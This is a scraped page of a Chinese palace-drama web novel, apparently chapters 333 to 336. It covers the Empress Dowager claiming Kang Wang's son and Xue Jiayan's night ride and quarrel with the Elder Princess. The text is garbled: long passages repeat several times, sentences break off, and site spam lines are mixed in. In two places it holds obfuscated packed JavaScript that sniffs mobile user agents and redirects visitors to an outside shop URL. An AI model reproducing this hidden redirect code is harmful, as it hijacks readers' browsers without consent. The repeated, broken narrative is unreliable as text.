沁芳连忙应声,快步走出殿外。不多时,便领着一位二十岁左右的年轻妇人走了进来。那妇人穿着一身素雅的青布衣裙,未施粉黛,头发简单挽成一个发髻,只插了一根素银簪子,却身姿挺拔,气质娴静。 她一进门,便对着太后盈盈屈膝行礼,声音温婉却不卑不亢:“妾身孙氏,给娘娘请安,娘娘千岁千岁千千岁。” 太后抬眸看向她,目光落在她的脸上,竟有一瞬间的怔神。 孙氏长得并不算惊艳,却有着一种独特的气度——娴静端庄,又带着几分淡淡的疏离,那份清冷与端庄,竟与她年轻时,有几分相似。 太后想起自己刚入宫时,年纪尚小,身居高位,难免底气不足,便故作威严,尤其是面对着那些与自己年纪相仿的皇子们时,更是刻意摆出冷淡、端庄的模样态。 她与姜昀初始时,姜昀对她的印象便是如此。 声问道。 小男孩微微抬眸,声音清脆却沉稳,没有半分孩童的嬉闹,规规矩矩地回禀:“禀娘娘,我叫姜……孙颂。” 话音顿了顿,那声“姜”字说得极轻,几乎被风淹没,最后还是换成了“孙颂”。 太后闻言,眉头微微一蹙。姜昀获罪身亡,这孩子碍于身份,不敢姓姜,也情有可原。 太后轻轻“嗯”了一声,放下茶盏,目光细细打量着眼前的孩子。 只见他眉眼清俊,鼻梁挺直,眉宇间竟有几分像当年的康王姜昀,只是姜昀平日里总是故作不羁、放浪形骸,而这孩子,却透着一股与年龄不符的沉静,眼神里藏着不属于孩童的懂事与隐忍。 “识字了吗?”太后收回目光,语气缓和了几分,问道。 孙颂微微点头,声音依旧沉稳:“回娘娘,母亲平日里教了些基础的字,近来又请了一位先生,开始教授《诗经》。” 太后闻言,缓缓点了点头,语气里带着几分赞许:“你这个年纪,正是启蒙的好时候,好好读书,莫要荒废了时日。” 太后一生忙于宫斗与朝政,从未养过孩子,一时竟不知该与这么大的孩子聊些什么。 姜昀死的时候,这孩子还小,想来对自己的父亲,也没什么印象。 思忖片刻,太后吩咐沁芳:“去端些茶水点心来,给孩子尝尝。” 沁芳连忙应声退下,不多时便端来一碟精致的桂花糕、一碟杏仁酥,一碟子如意金糕,一碟子糖蒸酥酪,还有一杯温热的蜜水,轻轻放在孙颂w面前的小几上。 孙颂顺从地拿起一块桂花糕,动作斯文有礼,小口小口地吃着,吃完后还不忘用帕子轻轻擦了擦嘴角,规矩周到。 太后看着他这副模样,忍不住朝着身旁的沁芳轻轻点了点头,眼底带着几分认可——这孩子,确实教养得极好。 沁芳凑到太后面前,压低声音道:“娘娘,您也该见见孩子的母亲。毕竟是孩子的生母,往后孩子留在漱玉山房,也需得她照料。” 太后原本是没打算见孙氏的。在她看来,孙氏不过是姜昀府中一个侍女出身,姜昀临死前也未曾给她抬任何名分,想来也不是什么要紧人物,见与不见,都无关紧要。 可沁芳这么说,倒也有道理,孩子尚小,离不开生母照料,再者,她也想瞧瞧,能教出这般懂事孩子的妇人,究竟是什么模样。 沉默片刻,太后淡淡开口:“叫进来见见吧。” 沁芳连忙应声,快步走出殿外。不多时,便领着一位二十岁左右的年轻妇人走了进来。那妇人穿着一身素雅的青布衣裙,未施粉黛,头发简单挽成一个发髻,只插了一根素银簪子,却身姿挺拔,气质娴静。 她一进门,便对着太后盈盈屈膝行礼,声音温婉却不卑不亢:“妾身孙氏,给娘娘请安,娘娘千岁千岁千千岁。” 太后抬眸看向她,目光落在她的脸上,竟有一瞬间的怔神。 孙氏长得并不算惊艳,却有着一种独特的气度——娴静端庄,又带着几分淡淡的疏离,那份清冷与端庄,竟与她年轻时,有几分相似。 太后想起自己刚入宫时,年纪尚小,身居高位,难免底气不足,便故作威严,尤其是面对着那些与自己年纪相仿的皇子们时,更是刻意摆出冷淡、端庄的模样态。 她与姜昀初始时,姜昀对她的印象便是如此。 声问道。 小男孩微微抬眸,声音清脆却沉稳,没有半分孩童的嬉闹,规规矩矩地回禀:“禀娘娘,我叫姜……孙颂。” 话音顿了顿,那声“姜”字说得极轻,几乎被风淹没,最后还是换成了“孙颂”。 太后闻言,眉头微微一蹙。姜昀获罪身亡,这孩子碍于身份,不敢姓姜,也情有可原。 太后轻轻“嗯”了一声,放下茶盏,目光细细打量着眼前的孩子。 只见他眉眼清俊,鼻梁挺直,眉宇间竟有几分像当年的康王姜昀,只是姜昀平日里总是故作不羁、放浪形骸,而这孩子,却透着一股与年龄不符的沉静,眼神里藏着不属于孩童的懂事与隐忍。 “识字了吗?”太后收回目光,语气缓和了几分,问道。 孙颂微微点头,声音依旧沉稳:“回娘娘,母亲平日里教了些基础的字,近来又请了一位先生,开始教授《诗经》。” 太后闻言,缓缓点了点头,语气里带着几分赞许:“你这个年纪,正是启蒙的好时候,好好读书,莫要荒废了时日。” 太后一生忙于宫斗与朝政,从未养过孩子,一时竟不知该与这么大的孩子聊些什么。 姜昀死的时候,这孩子还小,想来对自己的父亲,也没什么印象。 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沁芳凑到太后面前,压低声音道:“娘娘,您也该见见孩子的母亲。毕竟是孩子的生母,往后孩子留在漱玉山房,也需得她照料。” 太后原本是没打算见孙氏的。在她看来,孙氏不过是姜昀府中一个侍女出身,姜昀临死前也未曾给她抬任何名分,想来也不是什么要紧人物,见与不见,都无关紧要。 可沁芳这么说,倒也有道理,孩子尚小,离不开生母照料,再者,她也想瞧瞧,能教出这般懂事孩子的妇人,究竟是什么模样。 沉默片刻,太后淡淡开口:“叫进来见见吧。” 沁芳连忙应声,快步走出殿外。不多时,便领着一位二十岁左右的年轻妇人走了进来。那妇人穿着一身素雅的青布衣裙,未施粉黛,头发简单挽成一个发髻,只插了一根素银簪子,却身姿挺拔,气质娴静。 她一进门,便对着太后盈盈屈膝行礼,声音温婉却不卑不亢:“妾身孙氏,给娘娘请安,娘娘千岁千岁千千岁。” 太后抬眸看向她,目光落在她的脸上,竟有一瞬间的怔神。 孙氏长得并不算惊艳,却有着一种独特的气度——娴静端庄,又带着几分淡淡的疏离,那份清冷与端庄,竟与她年轻时,有几分相似。 太后想起自己刚入宫时,年纪尚小,身居高位,难免底气不足,便故作威严,尤其是面对着那些与自己年纪相仿的皇子们时,更是刻意摆出冷淡、端庄的模样态。 她与姜昀初始时,姜昀对她的印象便是如此。 声问道。 小男孩微微抬眸,声音清脆却沉稳,没有半分孩童的嬉闹,规规矩矩地回禀:“禀娘娘,我叫姜……孙颂。” 话音顿了顿,那声“姜”字说得极轻,几乎被风淹没,最后还是换成了“孙颂”。 太后闻言,眉头微微一蹙。姜昀获罪身亡,这孩子碍于身份,不敢姓姜,也情有可原。 太后轻轻“嗯”了一声,放下茶盏,目光细细打量着眼前的孩子。 只见他眉眼清俊,鼻梁挺直,眉宇间竟有几分像当年的康王姜昀,只是姜昀平日里总是故作不羁、放浪形骸,而这孩子,却透着一股与年龄不符的沉静,眼神里藏着不属于孩童的懂事与隐忍。 “识字了吗?”太后收回目光,语气缓和了几分,问道。 孙颂微微点头,声音依旧沉稳:“回娘娘,母亲平日里教了些基础的字,近来又请了一位先生,开始教授《诗经》。” 太后闻言,缓缓点了点头,语气里带着几分赞许:“你这个年纪,正是启蒙的好时候,好好读书,莫要荒废了时日。” 太后一生忙于宫斗与朝政,从未养过孩子,一时竟不知该与这么大的孩子聊些什么。 姜昀死的时候,这孩子还小,想来对自己的父亲,也没什么印象。 思忖片刻,太后吩咐沁芳:“去端些茶水点心来,给孩子尝尝。” 沁芳连忙应声退下,不多时便端来一碟精致的桂花糕、一碟杏仁酥,一碟子如意金糕,一碟子糖蒸酥酪,还有一杯温热的蜜水,轻轻放在孙颂w面前的小几上。 孙颂顺从地拿起一块桂花糕,动作斯文有礼,小口小口地吃着,吃完后还不忘用帕子轻轻擦了擦嘴角,规矩周到。 太后看着他这副模样,忍不住朝着身旁的沁芳轻轻点了点头,眼底带着几分认可——这孩子,确实教养得极好。 沁芳凑到太后面前,压低声音道:“娘娘,您也该见见孩子的母亲。毕竟是孩子的生母,往后孩子留在漱玉山房,也需得她照料。” 太后原本是没打算见孙氏的。在她看来,孙氏不过是姜昀府中一个侍女出身,姜昀临死前也未曾给她抬任何名分,想来也不是什么要紧人物,见与不见,都无关紧要。 可沁芳这么说,倒也有道理,孩子尚小,离不开生母照料,再者,她也想瞧瞧,能教出这般懂事孩子的妇人,究竟是什么模样。 沉默片刻,太后淡淡开口:“叫进来见见吧。” 沁芳连忙应声,快步走出殿外。不多时,便领着一位二十岁左右的年轻妇人走了进来。那妇人穿着一身素雅的青布衣裙,未施粉黛,头发简单挽成一个发髻,只插了一根素银簪子,却身姿挺拔,气质娴静。 她一进门,便对着太后盈盈屈膝行礼,声音温婉却不卑不亢:“妾身孙氏,给娘娘请安,娘娘千岁千岁千千岁。” 太后抬眸看向她,目光落在她的脸上,竟有一瞬间的怔神。 孙氏长得并不算惊艳,却有着一种独特的气度——娴静端庄,又带着几分淡淡的疏离,那份清冷与端庄,竟与她年轻时,有几分相似。 太后想起自己刚入宫时,年纪尚小,身居高位,难免底气不足,便故作威严,尤其是面对着那些与自己年纪相仿的皇子们时,更是刻意摆出冷淡、端庄的模样态。 她与姜昀初始时,姜昀对她的印象便是如此。 声问道。 小男孩微微抬眸,声音清脆却沉稳,没有半分孩童的嬉闹,规规矩矩地回禀:“禀娘娘,我叫姜……孙颂。” 话音顿了顿,那声“姜”字说得极轻,几乎被风淹没,最后还是换成了“孙颂”。 太后闻言,眉头微微一蹙。姜昀获罪身亡,这孩子碍于身份,不敢姓姜,也情有可原。 太后轻轻“嗯”了一声,放下茶盏,目光细细打量着眼前的孩子。 只见他眉眼清俊,鼻梁挺直,眉宇间竟有几分像当年的康王姜昀,只是姜昀平日里总是故作不羁、放浪形骸,而这孩子,却透着一股与年龄不符的沉静,眼神里藏着不属于孩童的懂事与隐忍。 “识字了吗?”太后收回目光,语气缓和了几分,问道。 孙颂微微点头,声音依旧沉稳:“回娘娘,母亲平日里教了些基础的字,近来又请了一位先生,开始教授《诗经》。” 太后闻言,缓缓点了点头,语气里带着几分赞许:“你这个年纪,正是启蒙的好时候,好好读书,莫要荒废了时日。” 太后一生忙于宫斗与朝政,从未养过孩子,一时竟不知该与这么大的孩子聊些什么。 姜昀死的时候,这孩子还小,想来对自己的父亲,也没什么印象。 思忖片刻,太后吩咐沁芳:“去端些茶水点心来,给孩子尝尝。” 沁芳连忙应声退下,不多时便端来一碟精致的桂花糕、一碟杏仁酥,一碟子如意金糕,一碟子糖蒸酥酪,还有一杯温热的蜜水,轻轻放在孙颂w面前的小几上。 孙颂顺从地拿起一块桂花糕,动作斯文有礼,小口小口地吃着,吃完后还不忘用帕子轻轻擦了擦嘴角,规矩周到。 太后看着他这副模样,忍不住朝着身旁的沁芳轻轻点了点头,眼底带着几分认可——这孩子,确实教养得极好。 沁芳凑到太后面前,压低声音道:“娘娘,您也该见见孩子的母亲。毕竟是孩子的生母,往后孩子留在漱玉山房,也需得她照料。” 太后原本是没打算见孙氏的。在她看来,孙氏不过是姜昀府中一个侍女出身,姜昀临死前也未曾给她抬任何名分,想来也不是什么要紧人物,见与不见,都无关紧要。 可沁芳这么说,倒也有道理,孩子尚小,离不开生母照料,再者,她也想瞧瞧,能教出这般懂事孩子的妇人,究竟是什么模样。 沉默片刻,太后淡淡开口:“叫进来见见吧。” 沁芳连忙应声,快步走出殿外。不多时,便领着一位二十岁左右的年轻妇人走了进来。那妇人穿着一身素雅的青布衣裙,未施粉黛,头发简单挽成一个发髻,只插了一根素银簪子,却身姿挺拔,气质娴静。 她一进门,便对着太后盈盈屈膝行礼,声音温婉却不卑不亢:“妾身孙氏,给娘娘请安,娘娘千岁千岁千千岁。” 太后抬眸看向她,目光落在她的脸上,竟有一瞬间的怔神。 孙氏长得并不算惊艳,却有着一种独特的气度——娴静端庄,又带着几分淡淡的疏离,那份清冷与端庄,竟与她年轻时,有几分相似。 太后想起自己刚入宫时,年纪尚小,身居高位,难免底气不足,便故作威严,尤其是面对着那些与自己年纪相仿的皇子们时,更是刻意摆出冷淡、端庄的模样态。 她与姜昀初始时,姜昀对她的印象便是如此。 第334章 命好? 回过神来,太后轻声赞道:“你把孩子教得很好,沉稳懂事,难得。沁芳,取些赏赐来,赏给她。 沁芳连忙应声,转身取来一个锦盒,里面装着一套头面缎,递到孙氏面前。 孙氏微微屈膝,双手接过锦盒,语气依旧温婉:“谢娘娘赏赐。随后,她抬眸看了一眼端坐在一旁的孙颂,眼底闪过一丝柔光,随即又转向太后,神色变得坚定起来,沉声道:“娘娘,妾身无所求,惟愿孩子能健康平安、安稳长大。娘娘是长辈,要看一看孩子,妾身不敢不从,如今娘娘看过了,还请娘娘开恩,让他跟妾身回去,做个普通百姓,安稳度日就好。 太后闻言,脸色微微一沉,语气也冷了几分:“他身上留着姜家的血,是皇家子嗣,怎么可能做个普通人? 孙氏眸中瞬间泛起水光,泪水在眼眶里打转,却强忍着没有掉下来,声音带着几分哽咽,喃喃道:“娘娘,王爷临死前,并未给妾身任何名份,也未曾提及要让这孩子认祖归宗,他的意思,已然明了,是不愿这孩子卷入皇家纷争,不愿他重蹈自己的覆辙。娘娘又何必违了王爷的心意,让孩子再陷入这是非之地呢? “康王为何而亡,你心里清楚。太后语气冰冷,带着不容置喙的强势,“他一生野心勃勃,却终究未能登上至尊宝座,含恨而终。让他的孩子将来登上那把椅子,难道不是圆了他的遗憾?这孩子生在帝王家,流淌着皇家的血脉,就注定这一生不可能平凡,你不要再痴心妄想了。 太后顿了顿,继续道:“从今往后,你便带着孩子,安心住在漱玉山房,哀家会派人照料你们的起居,也会请最好的先生教孩子读书习武。必要的时刻,哀家自会让你们现身。 孙氏看着太后坚定的神色,心中清楚,自己再怎么恳求,也无济于事。形势比人强,她不过是个无权无势的妇人,根本没有反抗的余地。泪水终于忍不住滑落,她咬了咬下唇,强行忍下心中的悲痛与不甘,再次屈膝行礼:“妾身……遵旨。 太后看了她一眼,语气缓和了几分,却依旧带着不容置喙的命令:“对了,这孩子往后便叫姜颂,不许再唤他孙颂。他是姜家的子嗣,就该姓姜。 说完,太后不再看孙氏母子,起身整理了一下衣袍,对着沁芳吩咐道:“走吧,回宫。沁芳连忙应声,扶着太后,快步走出了漱玉山房,只留下孙氏抱着姜颂,在原地默默垂泪。 回宫的马车缓缓行驶在山间小路上,车厢内一片寂静。太后闭着眼,靠在软榻上,神色晦暗不明。沉默了许久, 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 她才缓缓睁开眼,看向身旁的沁芳,轻声问道:“孙氏是什么来历?哀家瞧着她,不像是寻常的侍女。” 沁芳连忙躬身回禀:“回娘娘,孙氏原是婺源孙家的姑娘,甲子年中秋之乱,孙尚书牵涉其中,获罪被斩,全家男丁尽数流放,女眷则没入奴籍,孙氏便是这样,机缘巧合之下,入了康王府做了侍女。后来一次王爷醉酒,临幸了她,没想到只那一次,她便怀了身孕,这也是她的命……” 太后闻言,轻轻叹了口气,眼底闪过一丝复杂的情绪。 难怪她瞧着孙氏气质不凡,与寻常侍女不同,原来是书香世家出身,只是家道中落,才落得这般境地。这般想来,能教出姜颂这样懂事的孩子,也不足为奇了。 “也是她命好,偏她生下了王爷的孩子……” 从枫林苑回来之后,薛嘉言一直忘不掉骑在马上那种畅快的感觉。 姜玄公务繁忙,总要隔上许久才得空去枫林苑教她,她哪里耐得住这般慢磨,索性让人去请了曾桂香来。 曾桂香早年陪着当家的走南闯北押过镖,骑马自然不在话下。她只耐心带着薛嘉言练了两日,薛嘉言便已掌握了七八分诀窍,坐姿、控缰、踩蹬,样样都学得有模有样。 “夫人,您学得极快,再勤加练习些日子,便能独自骑马出行了。” 曾桂香一句夸赞,让薛嘉言信心大涨。 接下来几日,她天不亮便起身,去马场练马,哪怕练得腰腿酸软、双臂发沉,也半点不觉得辛苦,只觉得满心畅快。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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城墙上风大,五城兵马司的士卒正持灯巡视。 宋襄刚刚与人谈完事情,立在雉堞旁吹了吹风,目光沉沉扫过城下长街,忽见几道黑影快马飞驰而来,蹄声清脆,破了夜的寂静。 他一眼便瞧见领头的是个身姿纤细的女子,一身劲装,策马扬鞭,气势张扬。 宋襄眉头一蹙,语气冷硬:“那是谁?宵禁之后,竟敢在京城长街这般纵马飞驰。 身旁的小吏连忙躬身,压低声音回道:“回大人,是薛宜人。今夜张公公特意派人递了话,说是薛宜人要夜游京城,令我等值守之人……只作不见,不必阻拦。 “薛宜人……宋襄咀嚼这三字,嘴角勾起一抹不屑,冷哼一声,声音满是鄙夷,“堂堂妇人,深夜抛头露面,纵马街市,不知廉耻。 旁人谁敢接这话,一个个低下头,只当未曾听见。 薛嘉言对此一无所知,她正沉浸在纵马疾驰的畅快之中。 夜风灌入耳畔,发丝飞扬,心头积压许久的压抑与束缚,仿佛都在这飞驰之中被吹散。 前方巷口忽然传来一阵整齐的马蹄声,影影绰绰几骑人马迎面而来,气势迫人。 薛嘉言连忙轻勒缰绳,轻声道:“吁—— 马儿温顺地靠向街边,放慢脚步,生怕与对方冲撞。 不过瞬息,对面人马已到近前。 月光洒下,照亮领头那人的容颜——一身素色骑装,乌发高束,脖颈挺直如鹤,眉眼间带着几分桀骜与冷傲。 薛嘉言目光一凝,心头微顿。 竟是长公主,姜禔。 她与这位长公主本就没什么交情,往日那两件事情横在中间,尴尬如刺。薛嘉言不愿多生事端,只微微颔首示意,便打算错马而过,权当不曾遇见。 谁知长公主见深夜之中竟有女子敢同她一般纵马,来了几分兴致,当即勒住马缰,拦在路中,目光锐利地落在薛嘉言身上。 “你是哪家的女眷,竟敢在宵禁之后骑马夜行? 薛嘉言避无可避,只得平静回道:“妾身薛氏。 “薛氏…… 长公主咀嚼这二字,再联想到她能持令夜行、无人敢拦,瞬间便明白了眼前这人是谁—— 是当今陛下放在心尖上,不惜用她姜禔的名声,去洗白污名的薛嘉言。 她嘴角勾起一抹似笑非笑的讥诮,语气凉薄:“这时候出来骑马有什么意思?锦衣夜行,再风光也无人艳羡。你如今正得宠,不是该在闹市纵马,叫全京城的人都 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 艳羡你吗?” 薛嘉言抬眸,语气清淡,却寸步不让:“闹市纵马容易误伤无辜,这般清净时刻,随心所欲,不扰他人,才更为畅快。” 这话落在长公主耳中,登时便刺得她脸色一沉。 她这一生最是肆意,白日纵马、街头驰骋,哪次不是随心所欲?便是踩伤百姓、撞毁物件,也不过是丢几两银子打发了事,何曾有过“怕误伤无辜”这般顾虑。 薛嘉言这话,分明是在暗指她骄纵跋扈、不顾百姓。 长公主心头火气顿起,语气骤然冷厉:“薛氏。” 她一字一顿,带着警告,“本宫奉劝你一句——以色侍人者,能得几时好?切莫仗着几分宠爱,便这般张狂!” 薛嘉言迎上她的目光,依旧平静无波,淡淡开口:“公主说得没错。戚少亭当初不就是想以色侍人吗?到头来,果然没落下什么好下场。” “你——!” 长公主瞬间被戳中痛处,气得胸口起伏。 那件事,她才是最委屈的那一个! 不过是一时兴起,想拿戚少亭打发时间,荤没吃到,倒惹了一身骚,真真是晦气。 眼前这人,却是这件事的受益者,竟敢反过来拿此事讥讽她! “放肆!”长公主怒声呵斥,“薛氏,这其中前因后果,本宫不信你不知!” 薛嘉言神色平静,语气却直白人:“公主只需扪心自问,究竟有没有想过,要染指我那赘婿。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329850|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句话,堵得长公主哑口无言。 她是想过,可她终究没做成啊! 长公主恼羞成怒,高高扬起马鞭,便要朝着薛嘉言挥去。 可鞭还未落下,薛嘉言身后已骤然窜出几道黑影。 为首的于志英身形挺拔,挡在薛嘉言身前,拱手沉声道:“殿下息怒。臣等奉命保护主子,寸步不离。若殿下心中有气,尽管往臣身上招呼。” 长公主看着这阵仗,气得指尖发抖。 她知道,这些是皇帝派给薛嘉言的贴身暗卫,她动不了薛嘉言。 最终,她马鞭狠狠一甩,“啪”一声脆响,重重抽在于志英后背。 于志英纹丝不动,一声未吭。 长公主盯着薛嘉言,眼底寒意刺骨,冷笑一声:“你最好永远这般得宠。否则——” 话音未落,她猛地一夹马腹,骏马长嘶扬蹄,带着随从怒冲冲绝尘而去,留下一路冷寂夜风。 一场好好的夜游,被这突如其来的冲突搅得兴致全无。 薛嘉言心头郁结,脸色淡了下来,对着身后众人淡淡开口:“兴致扫了,回去吧。” 薛嘉言宵禁后纵马夜游京城的事,很快传到了御史邹子墨的耳朵里。 邹子墨一生恪守礼教,最是看重规矩,平日里见着半点逾矩之事,都要直言上谏,更何况是薛嘉言这般“惊世骇俗”的举动。 先前他便因薛嘉言孝期私通一事,屡次上折恳请严惩,却都被姜玄压了下来,连半分惩处都没能落在薛嘉言身上。这件事,他一直耿耿于怀,只觉得是陛下因私废公,心中早已憋着一股怨气。 此刻听闻薛嘉言竟敢在宵禁之后,抛头露面、纵马驰骋于京城长街,全然不顾礼教与朝廷宵禁律法,邹子墨只觉得怒火中烧,只当她是仗着姜玄的宠爱,愈发张狂无忌。 他当即屏退左右,点亮案头烛火,铺开宣纸,连夜便写好了参奏薛嘉言的奏本。字里行间,满是对薛嘉言“逾矩妄为”的斥责,也暗含对姜玄“纵容妖妇、有违礼制”的劝谏。 第336章 无惧 第二日天还未亮,早朝的钟声尚未敲响,文武百官已陆续抵达午门外等候。 都察院左都御史申屠助刚走到廊下,便瞧见邹子墨独自立在角落,手中紧紧攥着一本奏折,神色凝重。 申屠助与邹子墨同属都察院,深知他的性子,见状便走上前,低声问道:“邹大人,你这是又要上折参人?” 邹子墨见是申屠助,也不隐瞒,将手中的奏本递了过去,语气坚定:“申屠大人,你看。薛氏宵禁后纵马游街,公然违反宵禁律法,不顾妇人廉耻,仗着陛下宠爱肆意妄为,此等行径,岂能姑息?” 申屠助接过奏本,快速扫了几眼,眉头微微蹙起,随即又缓缓舒展开,将奏本还给邹子墨,压低声音劝道:“罢了罢了,这么点小事,也值得你专门写一本奏折参她?多事之秋,陛下本就心烦意乱,你这时候参奏薛宜人,岂不是故意惹陛下不快?” “这怎么是小事!”邹子墨一听,顿时急了,声音也不自觉提高了几分,又连忙压低,语气带着几分急切与执拗,“申屠大人,宵禁乃是朝廷定下的律法,薛氏身为陛下宠眷,非但不谨守本分、以身作则,反倒仗着宠爱违规行事,这若是传出去,百姓会如何看待朝廷?如何看待陛下?臣身为御史,职责便是谏君纠错、匡正风气,若见此逾矩之事而不言,那要我们御史何用?” 申屠助看着他这副油盐不进的模样,暗自无奈,又耐着性子劝道:“你啊,就是太较真了。你也说了,薛氏不过是仗着陛下的宠爱,你仔细想想,这份宠爱能维持多久?陛下素来清明,断不会一味纵容。再说了,薛氏也算有几分眼色,只是锦衣夜行,未曾在白日闹市张扬,也未曾惊扰百姓,已然留了分寸。” 他顿了顿,又放缓语气,提及往日旧事:“这阵子朝廷事多,秋收减产,边关吃紧,朝堂之上本就人心浮动,你就别添乱了。莫忘了上次陛下当场罢朝,咱们在殿外跪请了大半日,才请得陛下回朝。这次若是再因这点小事惹恼陛下,耽误了边关大事,咱们可担待不起啊。” 邹子墨沉默了片刻,指尖依旧紧紧攥着奏本,脸上的怒气渐渐褪去,只剩下几分不甘。他也知道,申屠助说得没错,如今朝廷多事之秋,确实不宜因琐事惹陛下心烦,更不宜耽误边关要务。 半晌,他才缓缓松了手,深吸一口气,语气依旧带着几分执拗:“好,我便暂时不参奏她。但若是薛氏再有这般肆意妄为、不守规矩的举动,我定不会再姑息,到时候,不仅要参薛氏逾矩,还要参陛下纵容宠妃、有违礼制,哪怕再跪请半日, 我也在所不辞!” 申屠助见他松了口,心中暗自松了口气,连忙点头应道:“好好好,理应如此,理应如此。你放心,若薛氏真有再逾矩之举,我也会与你一同上谏。” 进入冬季后,朔风渐起,落叶被卷着铺满京城长街,薛嘉言却愈发忙碌起来。 入秋后便筹备的冬储粮,到了此时正是粮行最热闹的时节,往来购粮的百姓、商户排起长队,既要盯着存粮清点,又要核对账目、安抚民心。 布行那边更是忙碌,加厚的绸缎、棉絮、绒布订单堆的如山,皆是百姓备冬的急需之物,更何况还承接了不少工部军衣的订单。 薛嘉言时常要亲自外出过问,偶尔还要趁着天朗气清,赶往通县的织行工坊,查看布匹织造的进度与质量。 冬日虽冷,正午时分,暖阳透过云层洒下来,驱散了大半寒意,风也变得柔和,晒在身上暖融融的,倒也不觉得冷。 这日,薛嘉言又要去粮行,她心底那股骑马的冲动又冒了出来,按捺不住地吩咐司雨:“今儿不冷,我骑马去。给我取那身加厚的骑装来,再把那顶白狐狸**的风帽带上。” 司雨早已按她的心意,赶制了一身墨绿色厚绒骑装,领口、袖口都缝着柔软的狐裘镶边,挡风又保暖,闻言连忙应声去取。 薛嘉言换好骑装,戴上风帽,鬓边的碎发被风帽拢住,只露出一截光洁的下颌,身姿挺拔地走到马厩,翻身上了那匹枣红马“花儿”。 马儿扬了扬脖颈,轻轻嘶鸣一声,显得格外温顺。薛嘉言轻轻夹了夹马腹,马儿慢悠悠地踏出府门,朝着街面行去。 一开始,薛嘉言还有些不自在,总感觉沿途百姓的目光都黏在自己身上,有好奇,有惊讶,还有些说不清道不明的审视,让她浑身都透着几分拘谨。 事实上,也的确如此——京城之中,除了那位素来张扬、不拘礼教的长公主长公主,众人还从未见过哪家世家女眷,竟敢这般抛头露面,骑着马行走在闹市之中,众人自然要关注的。 尤其是当有人认出,这位骑马的女子,便是那位传闻中被陛下宠信、却不肯名正言顺接入宫中的“薛家外室”时,周围的议论声更是此起彼伏,不绝于耳。 有人悄悄停下脚步,凑在一起交头接耳;有人频频侧目,眼神里满是鄙夷;还有些守旧的老者,忍不住皱紧眉头,连连摇头。 薛嘉言垂眸看着马腹下的青石板路,只做听不见,指尖轻轻调整缰绳,专心感受着骑马的节奏。马儿一步步前行,蹄声清脆,暖阳洒在身上,风轻轻拂过耳畔,骑在马背上的感觉越来越好——整个人比平日里高了许多,视野也变得开阔,远处的宅院、街景尽收眼底,连日来忙碌的疲惫仿佛都被驱散,心胸也愈发舒展。 渐渐地,她放下了拘谨,脊背挺得更直,眼底没了丝毫局促,全然无惧旁人的眼光和那些隐晦的流言。 我也在所不辞!” 申屠助见他松了口,心中暗自松了口气,连忙点头应道:“好好好,理应如此,理应如此。你放心,若薛氏真有再逾矩之举,我也会与你一同上谏。” 进入冬季后,朔风渐起,落叶被卷着铺满京城长街,薛嘉言却愈发忙碌起来。 入秋后便筹备的冬储粮,到了此时正是粮行最热闹的时节,往来购粮的百姓、商户排起长队,既要盯着存粮清点,又要核对账目、安抚民心。 布行那边更是忙碌,加厚的绸缎、棉絮、绒布订单堆的如山,皆是百姓备冬的急需之物,更何况还承接了不少工部军衣的订单。 薛嘉言时常要亲自外出过问,偶尔还要趁着天朗气清,赶往通县的织行工坊,查看布匹织造的进度与质量。 冬日虽冷,正午时分,暖阳透过云层洒下来,驱散了大半寒意,风也变得柔和,晒在身上暖融融的,倒也不觉得冷。 这日,薛嘉言又要去粮行,她心底那股骑马的冲动又冒了出来,按捺不住地吩咐司雨:“今儿不冷,我骑马去。给我取那身加厚的骑装来,再把那顶白狐狸**的风帽带上。” 司雨早已按她的心意,赶制了一身墨绿色厚绒骑装,领口、袖口都缝着柔软的狐裘镶边,挡风又保暖,闻言连忙应声去取。 薛嘉言换好骑装,戴上风帽,鬓边的碎发被风帽拢住,只露出一截光洁的下颌,身姿挺拔地走到马厩,翻身上了那匹枣红马“花儿”。 马儿扬了扬脖颈,轻轻嘶鸣一声,显得格外温顺。薛嘉言轻轻夹了夹马腹,马儿慢悠悠地踏出府门,朝着街面行去。 一开始,薛嘉言还有些不自在,总感觉沿途百姓的目光都黏在自己身上,有好奇,有惊讶,还有些说不清道不明的审视,让她浑身都透着几分拘谨。 事实上,也的确如此——京城之中,除了那位素来张扬、不拘礼教的长公主长公主,众人还从未见过哪家世家女眷,竟敢这般抛头露面,骑着马行走在闹市之中,众人自然要关注的。 尤其是当有人认出,这位骑马的女子,便是那位传闻中被陛下宠信、却不肯名正言顺接入宫中的“薛家外室”时,周围的议论声更是此起彼伏,不绝于耳。 有人悄悄停下脚步,凑在一起交头接耳;有人频频侧目,眼神里满是鄙夷;还有些守旧的老者,忍不住皱紧眉头,连连摇头。 薛嘉言垂眸看着马腹下的青石板路,只做听不见,指尖轻轻调整缰绳,专心感受着骑马的节奏。马儿一步步前行,蹄声清脆,暖阳洒在身上,风轻轻拂过耳畔,骑在马背上的感觉越来越好——整个人比平日里高了许多,视野也变得开阔,远处的宅院、街景尽收眼底,连日来忙碌的疲惫仿佛都被驱散,心胸也愈发舒展。 渐渐地,她放下了拘谨,脊背挺得更直,眼底没了丝毫局促,全然无惧旁人的眼光和那些隐晦的流言。 我也在所不辞!” 申屠助见他松了口,心中暗自松了口气,连忙点头应道:“好好好,理应如此,理应如此。你放心,若薛氏真有再逾矩之举,我也会与你一同上谏。” 进入冬季后,朔风渐起,落叶被卷着铺满京城长街,薛嘉言却愈发忙碌起来。 